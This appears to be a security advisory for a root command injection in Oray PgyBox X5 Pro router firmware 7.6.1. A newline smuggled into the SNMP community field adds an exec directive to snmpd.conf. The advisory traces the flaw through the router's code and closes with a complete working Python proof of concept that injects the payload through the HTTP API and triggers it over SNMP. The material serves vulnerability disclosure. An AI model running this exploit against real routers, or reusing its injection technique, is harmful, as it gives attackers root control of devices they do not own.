Information

Introduction

Oray PgyBox X5 Pro Router firmware 7.6.1 accepts a newline in info.community through the authenticated snmp_set API. The SNMP init script inserts that value into a rocommunity record, allowing the following text to become an exec directive; the same request can enable SNMP. A query for the injected OID then runs the selected program as root and returns its output.

Vulnerability Details

/www/cgi-bin/oraybox:92-114,475-510 authenticates snmp_set with the management system password, checks fields declared by the API module, and enforces the restricted-user API allowlist. The API has no password exemption. The factory uhttpd service listens on port 80, and the firewall allows input on the management side while rejecting WAN input (/etc/config/uhttpd, /etc/config/firewall).

In the decoded Lua 5.1 bytecode for /usr/lib/lua/oraybox/api/snmp_set.lua, shell_inject_checker.info.keys contains only "port" (lines 9-16). The JSON checker in /usr/lib/lua/oraybox/util.lua visits listed keys. Once info is decoded, the v2c branch writes the unchecked field to snmpd.general.community. This is the relevant excerpt from the decoded module, lines 61-70:

if snmp_info.version == "v2c" then
  if not uci:set("snmpd", "general", "version", "v2c") then
    return oraybox.errorcode.uci
  end
  if not uci:set("snmpd", "general", "community", snmp_info.community) then
    return oraybox.errorcode.uci
  end
  if not uci:set("snmpd", "general", "access", snmp_info.access) then
    return oraybox.errorcode.uci
  end

The same function writes general.enabled, commits UCI, and restarts /etc/init.d/snmpd (decoded module lines 58-60,128-133). When enabling SNMP, it checks the chosen port for validity and occupancy; the test used the factory port, UDP/161. The factory /etc/config/snmpd has enabled='0', version='v2c', community='admin', access='ro', and agentaddress='UDP:161'. snmp_get exposes these settings in its info object.

In /etc/init.d/snmpd:284-296,330-374, the script retrieves general.community with config_get and appends an access record with echo "${access}community $community $source" >> $CONFIGFILE. Here CONFIGFILE is /var/run/snmpd.conf. With access=ro and a community containing LF followed by exec .1.3.6.1.4.1.8072.9999 proof /usr/bin/id, the generated file has a rocommunity admin line followed by that exec line. The image links /etc/snmp/snmpd.conf to /var/run/snmpd.conf. The default Net-SNMP search path includes /etc/snmp (libnetsnmp.so.40.1.0, get_configuration_directory, 0x47870). The init script starts /usr/sbin/snmpd -Lf /dev/null -f -r through procd without -u or a non-root user.

The shipped build loads the Net-SNMP extensible MIB. In libnetsnmpmibs.so.40.1.0, init_extensible registers exec at 0x30BA4; init_mib_modules selects that module at 0x4D360-0x4D378. extensible_parse_config accepts the OID, name, and program. Querying its .101.1 output object reaches var_extensible_relocatable (0x30894-0x3098C), which runs the configured command and returns its first output line. /usr/bin/id is present as a BusyBox link. The Net-SNMP configuration manual documents both exec [MIBOID] NAME PROG ARGS and the full-tree access given by an unrestricted rocommunity record. The trigger OID in this case is .1.3.6.1.4.1.8072.9999.101.1.

The X5 Pro 7.6.1 device returned uid=0(root) from /usr/bin/id in the UDP/161 response to the injected OID. Its /var/run/snmpd.conf contained the added exec directive. The installing snmp_set call returned code:0; the preceding snmp_get response had shown SNMP disabled, community admin, and port 161. The configuration file and network response show that the running daemon executed the injected command.

PoC

Set ORAY_PASSWORD to the router's management system password, then run this Python 3 script with the router's management address as its argument. It uses only the standard library. The script requires the factory SNMP settings and an unoccupied UDP/161 port. It sends the configuration through the HTTP API, queries the injected OID directly over UDP, and restores the settings returned by the initial snmp_get call.

import json
import os
import socket
import sys
import time
import urllib.parse
import urllib.request

host = sys.argv[1]
password = os.environ["ORAY_PASSWORD"]
endpoint = f"http://{host}/cgi-bin/oraybox"
opener = urllib.request.build_opener(urllib.request.ProxyHandler({}))
arcs = (1, 3, 6, 1, 4, 1, 8072, 9999, 101, 1)

def api(method, **fields):
    values = urllib.parse.urlencode({"_api": method, "_pwd": password, **fields}).encode()
    request = urllib.request.Request(endpoint, data=values, method="POST")
    with opener.open(request, timeout=12) as response:
        return json.load(response)

def item(tag, value):
    length = len(value)
    if length < 128:
        size = bytes((length,))
    else:
        digits = length.to_bytes((length.bit_length() + 7) // 8, "big")
        size = bytes((0x80 | len(digits),)) + digits
    return bytes((tag,)) + size + value

def oid_value(numbers):
    result = bytearray((40 * numbers[0] + numbers[1],))
    for number in numbers[2:]:
        groups = [number & 0x7f]
        number >>= 7
        while number:
            groups.insert(0, 0x80 | (number & 0x7f))
            number >>= 7
        result.extend(groups)
    return bytes(result)

def fields(encoded):
    output = []
    offset = 0
    while offset < len(encoded):
        tag = encoded[offset]
        size = encoded[offset + 1]
        offset += 2
        if size & 0x80:
            count = size & 0x7f
            size = int.from_bytes(encoded[offset:offset + count], "big")
            offset += count
        value = encoded[offset:offset + size]
        assert len(value) == size
        output.append((tag, value))
        offset += size
    return output

def query_exec():
    encoded_oid = oid_value(arcs)
    binding = item(0x30, item(0x06, encoded_oid) + item(0x05, b""))
    request = item(0xa0, item(0x02, b"\x25") + item(0x02, b"\x00")
                   + item(0x02, b"\x00") + item(0x30, binding))
    packet = item(0x30, item(0x02, b"\x01") + item(0x04, b"admin") + request)
    with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as channel:
        channel.settimeout(2)
        for _ in range(5):
            channel.sendto(packet, (host, 161))
            try:
                reply, _ = channel.recvfrom(8192)
                break
            except socket.timeout:
                time.sleep(0.5)
        else:
            raise TimeoutError("no reply from UDP/161")

    outer = fields(reply)
    assert len(outer) == 1 and outer[0][0] == 0x30
    message = fields(outer[0][1])
    assert message[0] == (0x02, b"\x01") and message[1] == (0x04, b"admin")
    assert message[2][0] == 0xa2
    response = fields(message[2][1])
    assert response[0] == (0x02, b"\x25") and response[1] == (0x02, b"\x00")
    assert response[3][0] == 0x30
    bindings = fields(response[3][1])
    assert len(bindings) == 1 and bindings[0][0] == 0x30
    entry = fields(bindings[0][1])
    assert entry[0] == (0x06, encoded_oid) and entry[1][0] == 0x04
    return entry[1][1]

before = api("snmp_get")
assert before["code"] == 0
saved = before["info"]
assert saved["enabled"] == 0 and saved["version"] == "v2c"
assert saved["community"] == "admin" and saved["access"] == "ro"
assert saved["port"] == 161

modified = dict(saved)
modified["enabled"] = 1
modified["community"] = "admin\nexec .1.3.6.1.4.1.8072.9999 proof /usr/bin/id"
try:
    result = api("snmp_set", info=json.dumps(modified, separators=(",", ":")))
    assert result["code"] == 0, result
    output = query_exec()
    assert b"uid=0(root)" in output, output
    print("SNMP exec output:", output.decode("utf-8", "replace"))
finally:
    restored = api("snmp_set", info=json.dumps(saved, separators=(",", ":")))
    assert restored["code"] == 0, restored
    after = api("snmp_get")
    assert after["code"] == 0 and after["info"] == saved